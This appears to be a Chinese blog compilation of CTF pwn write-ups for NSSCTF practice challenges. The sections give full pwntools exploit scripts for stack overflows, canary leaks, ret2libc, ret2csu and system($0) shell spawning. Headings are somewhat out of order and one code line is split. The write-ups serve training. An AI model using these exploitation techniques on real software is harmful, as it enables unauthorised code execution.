### 口算题卡

这题没有附件，先nc一下：

![image-20230515213040798](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152201043.png)

大概意思就是只要做出来100道小学计算题就可以拿到flag:解决（不是）

当然不可能这么麻烦：

这里我也是第一次接触到python中eval函数，直接可以帮你计算输入的算式的值:

所以这里exp可以这样写：

```python
法一：
# from pwn import*
# context(log_level='debug')
# io =remote('node4.anna.nssctf.cn',28650)


# for num in range(1,101):
#     io.recvuntil(b'What is ')
#     data = eval(io.recvuntil(b'?').strip(b'?'))
#     print(data)
#     io.sendline(str(data))
#------------------------------------------------------------
法二：
from pwn import*
context(log_level='debug')
io =remote('node4.anna.nssctf.cn',28650)

while 1:
    io.recvuntil(b'What is ')
    data = eval(io.recvuntil(b'?').strip(b'?').decode())
    print(data)
    io.sendline(str(data))
```

`strip（）`作用是删除接收的字符两边的不想要的字符。

flag：

![image-20230515213509915](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305152138420.png)

这里注意如果找我这样写，必须要开启调试，不然看不到输出。

口算题卡

m

同样还是一道简单的栈溢出，不过这题难点就是如何绕过strlen防止构造的payload被更改。

检查：

![image-20230504224346684](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042243794.png)

反编译：

![image-20230504224432364](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042244429.png)

### 主函数

对于主函数的绕过就只需要输入个1就可以，这里我们的目的就是进入encrypt函数

### encrypt

![image-20230504224633759](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042246822.png)

gets是漏洞点，但是下面有一段加密函数会对payload造成破坏，所以如果要成功栈溢出，就必须得绕过加密，这里因为strlen对\x00截断并且x是一个uint类型，最小是0，所以输入\x00就可以绕过加密。

```python
io.sendline(b'1')

io.recvuntil(b'encrypted\n')
payload = b'\x00'+b'a'*(0x57)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
```

绕后就是一如既往的ret2libc

完整exp：

```python
from pwn import*
from LibcSearcher import*

io = remote('node1.anna.nssctf.cn',28604)
elf = ELF('./ciscnpwn2')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x04009A0

pop_rdi = 0x0400c83
ret = 0x04006b9 
io.sendline(b'1')

io.recvuntil(b'encrypted\n')
payload = b'\x00'+b'a'*(0x57)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

io.recvline()
io.recvline()

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

io.recvuntil(b'encrypted\n')
payload = b'\x00'+b'a'*(0x57)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)

io.sendline(payload)

io.interactive()
```

flag：

![image-20230504225050973](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042250032.png)

[CISCN 2019东北]PWN2

难绷，一题看了4个小时，各种莫名其妙的报错，一直EOFEOF，给我快整emo了，还是不算难的一题，累死了。



还是先看题：

![image-20230504212430957](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042124180.png)

一如既往的64位动态链接文件，较之前难度提升的一点是开启了canary保护

> 这里解释下什么是canary保护：
>
> ​        在计算机系统中，栈是一种常见的内存结构，用于存储函数调用期间程序状态的信息，如本地变量、返回地址等。为了保护计算机系统的安全，许多现代操作系统都采用了一种叫做“堆栈保护”的技术，其中包括使用所谓的“canary”来检测缓冲区溢出漏洞。
>
> 在一些堆栈保护技术中，canary 被插入到函数的堆栈帧中，并被初始化为一个随机值。当函数返回时，canary 的一致性将被检查，以确保它未被篡改。如果 canary 值已经被篡改，那么说明缓冲区溢出攻击已经发生。
>
> 需要注意的是，canary 的实现方式和系统架构等因素有关，因此其具体实现可能存在差异。

所以这一题要是还想要栈溢出就必须得进行leek出canary来绕过。

所以来看源码：

![image-20230504212857898](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042128960.png)

这题也很明显的给了你一个专门来泄露地址的`printf（）`，所以这里就需要利用printf泄露地址（因为printf遇到\x00截断，所以只需要在canary之前全部填充非‘0’垃圾数据就很自然地可以泄露出canary地址。

```python
io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
canary = u64(io.recv(7).rjust(8,b'\x00'))
```

因为canary是占位8字节，所以我们需要输入的垃圾数据为0x50-0x08，也就是0x48字节数据，**但是**：

> 对于大多数现代操作系统，canary 的最后一位通常会被固定为零（\x00），这是因为某些 CPU 架构要求堆栈的字节对齐（通常为 4 或 8 字节），因此必须将 canary 末尾的字节设置为零，以确保字节对齐。但在一些特殊情况下，canary 的固定位可能并不是零字节。

canary的最后一位通常是\x00并且是小端序所以必须得再输入一字节数据覆盖0x00防止printf被截断，同样因此接收也只能接收7字节然后人为添加上被覆盖的0x00，这样canary就被泄露出来了。

这里我试了一下：

![image-20230504220531486](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042205659.png)

这里一个是`canary = u64(io.recv(7).rjust(8,b'\x00'))`

另一个是`canary2 = u64(io.recv(8))`

很明显看到除了第一字节不一样外其他都一样，这里就是因为后面一个被\x00截断了。

之后就是正常的ret2libc：

```python
payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+\
    p64(puts_got)+p64(puts_plt)+p64(main_addr)

io.sendlineafter(b'harder!',payload)
io.recvuntil(b'I hope you win\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

```

这我还要说一点：

这里我看了很久的原因就是我一开始用recvuntil接收会报错，很奇怪，不用就不会，但是这样puts-addr又有问题，写wp的时候我又试了一遍，结果可以了，估计是我wsl的原因（果不其然，wsl不太稳定），属实难绷。

这里如果不用recvuntil先接收数据或者不用sendlineafter传参都会报错，会导致puts_addr的地址出现问题。

很离谱。

然后就是：

```python
io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary2 = u64(io.recv(8))
print(hex(canary2))

payload =  b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(pop_rdi)+\
    p64(binsh)+p64(system)

io.sendlineafter(b'harder!',payload)

io.interactive()
```

很常规的ret2libc

完整exp：

```python
from pwn import*
from LibcSearcher import*
io = remote('node4.anna.nssctf.cn',28499)

elf = ELF('./littleof')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0000000000400789
pop_rdi = 0x400863
ret = 0x040059e

io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary = u64(io.recv(7).rjust(8,b'\x00'))
print(hex(canary))

payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+\
    p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b'harder!')
io.sendline(payload)
io.recvuntil(b'I hope you win\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary2 = u64(io.recv(8))
print(hex(canary2))

payload =  b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(pop_rdi)+\
    p64(binsh)+p64(system)

io.sendlineafter(b'harder!',payload)

io.interactive()
```

flag：

![image-20230504220910390](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305042209459.png)

[2021-鹤城杯]littleof

## [GFCTF 2021]where_is_shell

这题算是拓展我的知识了，学到了，nice！

还是一如既往的操作：

![image-20230503082639677](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305032126821.png)

反编译：

![image-20230503082719706](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305032127752.png)

又是有system没有/bin/sh

### 尝试

但这题也没有上一题可以往bss段写的地方，所以这里我第一想法就是直接利用栈溢出往bss段地址写/bin/sh，这里就想利用ret2csu，但很可惜我似乎没搞明白怎么做，下面是我的尝试。

```python
from pwn import*

io = remote('node4.anna.nssctf.cn',28835)

elf = ELF('./shell')
last_addr = 0x04005DA
front_addr = 0x04005C0
def csu(rbx,rbp,r12,r13,r14,r15,ret_addr):
    payload = b'a'*(10+8)+p64(last_addr)+p64(rbx)+p64(rbp)+p64(r12)
    payload += p64(r13)+p64(r14)+p64(r15)+p64(front_addr)+b's'*(0x38)+p64(ret_addr)
    io.sendline(payload)

read_plt = elf.plt['read']
system = 0x00400430
csu(0,1,read_plt,0x20,0x0601038,0,elf.sym['main'])
io.sendline(b'/bin/sh\x00')
csu(0,1,system,0,0,0x601038,elf.sym['main'])

io.interactive()
```

然后我又看了大佬们的做法发现有一位的wp与我想的方法一致，这是dalao的exp：

```python

from pwn import *

context.endian = 'little'
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
io = remote('1.14.71.254', 28644)
elf = ELF('/root/Desktop/shell')

io.recvuntil(b'zltt lost his shell, can you find it?\n')
fake_addr = 0x601a00
pop_rsi_r15_ret = 0x004005e1
pop_rdi_ret = 0x004005e3
ret = 0x00400481

payload = b'a' * 0x10 + p64(fake_addr) + p64(pop_rsi_r15_ret) + p64(fake_addr) + p64(0) + p64(0x00400572)
io.send(payload)

payload = b'/bin/sh\x00' + p64(pop_rdi_ret) + p64(fake_addr) + p64(ret) + p64(elf.sym['system'])
io.send(payload)

```

所以我又进行了一下改进：

```python
def csu(rbx,rbp,r12,r13,r14,r15,ret_addr):
    payload = b'a'*(10+8)+p64(last_addr)+p64(rbx)+p64(rbp)+p64(r12)
    payload += p64(r13)+p64(r14)+p64(r15)+p64(front_addr)+\
    b'/bin/sh\x00'+b's'*(0x38)+\
    p64(pop_rdi)+p64(0x601038)+p64(ret)+p64(system)+\
    p64(ret_addr)
    io.sendline(payload)
```

但这里我又犯了一个错误，就是很明显我能溢出的字节数不够写这么长的`rop`链，所以又换成了下面这样的写法：

```python
system = 0x00400430
pop_rsi_r15 = 0x004005e1
payload = b'a'*(10+8)+p64(0xdeadbeef)+p64(pop_rsi_r15)+p64(0x601038)+p64(0x0)+p64(0x0400572)
#这里仅仅改变read的第二个参数也就是改写入地址，用rsi寄存器，然后调用read函数
io.send(payload)

payload = b'/bin/sh\x00'+p64(pop_rdi)+p64(ret)+p64(0x601038)+p64(system)
#这里我看dalao的写法有一些没懂，这里如果这样写是可以把/bin/sh写入bss段，但是后面同时是直接用自己调用的read函数进行溢出，这样的话p64(pop_rdi)+p64(ret)+p64(0x601038)+p64(system)，这样一段到底是在栈上还是在bss段上，如果在bss段，那就无法进行栈溢出，那如果在栈上，他又是如何做到的呢，为什么可以直接这样写，程序会自己判断（\x00）还是其实都是先入栈再通过莫种方式将/bin/sh移入bss段呢（这里我觉得不太可行）。
io.send(payload)
```

但依旧是打不通，所以还是老老实实用system（$0）进行系统调用。

### 逝试

这同样也是我刚知道的新调用法：

```python
from pwn import *
elf = ELF('./shell')
p = remote('node4.anna.nssctf.cn',28835)
ret_addr = 0x400416 # ROPgadget --binary shell --only 'ret'
pop_rdi_ret = 0x4005e3 # ROPgadget --binary shell --only 'pop|rdi|ret'
tips = 0x400541
system_addr = elf.symbols['system']
payload = b'b'*0x10+b'b'*8+p64(ret_addr)+p64(pop_rdi_ret)+p64(tips)+p64(sys
tem_addr)
p.sendlineafter('find it?\n',payload)
p.interactive()
```

system（$0）参数是$0，所以肯定要找$0，这里找是找不到了，这里需要知道$0的机器码其实就是：24 30

所以可以找机器码。

在IDA里如何看机器码呢？

![image-20230504122151090](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305041221188.png)

![image-20230504122207996](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305041222072.png)

这样就可以看机器码了

![image-20230504122236992](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305041222041.png)

同样代码段是有read权限的，所以可以读取字符串。

flag：

![image-20230504122837965](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305041228021.png)

NSSCTF{6d9e2bc1-8482-4190-b94f-0fcb2c21e189}

[GFCTF 2021]where_is_shell

---

---

## [HNCTF 2022 Week1]ezr0p32

依旧是很简单的一题：

首先查看保护：

![image-20230503064718355](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031947494.png)

开启Nx保护。

其实题目里已经告诉我们有了system函数，只需要找到/bin/sh即可。

查看反编译：

![image-20230503064828263](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031948316.png)

很明显开启NX保护我们不能往栈上直接写参数进行传参，需要他的地址，只是我们就需要考虑/bin/sh放的地址，图中已经告诉我们了：第一个read函数是往buf的地址里写数据，同时又可以知道buf没有初始化，大胆猜测他在bss段

bss:

![image-20230503065154769](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031951830.png)

果然是这样的。

所以第一个read就往bss段写/bin/sh



### exp：

```python
from pwn import*
context(log_level='debug')
io =remote('node2.anna.nssctf.cn',28797)

system = 0x080483D0
io.recvuntil(b'please tell me your name\n')
io.sendline(b'/bin/sh\x00')
addr = 0x0804A080
io.recvuntil(b'time~\n')
payload = b'a'*(0x1c+4)+p32(system)+p32(0xabcd)+p32(addr)

io.sendline(payload)

io.interactive()
```

### flag

![image-20230503065308129](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031953196.png)